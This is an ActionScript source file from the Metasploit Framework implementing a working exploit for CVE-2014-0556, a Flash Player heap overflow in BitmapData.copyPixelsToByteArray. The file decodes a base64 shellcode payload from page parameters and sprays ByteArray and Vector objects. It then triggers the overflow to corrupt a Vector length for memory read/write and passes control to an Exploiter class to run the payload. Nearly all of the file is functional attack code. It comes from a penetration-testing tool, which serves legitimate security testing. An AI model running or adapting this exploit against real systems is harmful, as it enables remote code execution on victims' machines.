metasploit-framework/external/source/exploits/CVE-2014-0556/Exploit.as

84 lines
2.7 KiB
ActionScript
Executable File

// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var uv:Vector.<uint>
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var ov:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
public function Exploit()
{
var i:uint
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1022)
ov[i][0] = 0xdeadbeef
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; i < ov.length ; i++) {
if (ov[i].length == 0xffffffff) {
uv = ov[i]
uv[0] = 0xdeadbeef
uv[1] = 0xdeedbeef
for(var j:uint = 0; j < 4096; j++) {
if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) {
uv[0x3fffffff] = uv[j + 1]
break
}
}
} else {
ov[i] = null
}
}
for (i = 0; i < bv.length; i++) {
bv[i] = null
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}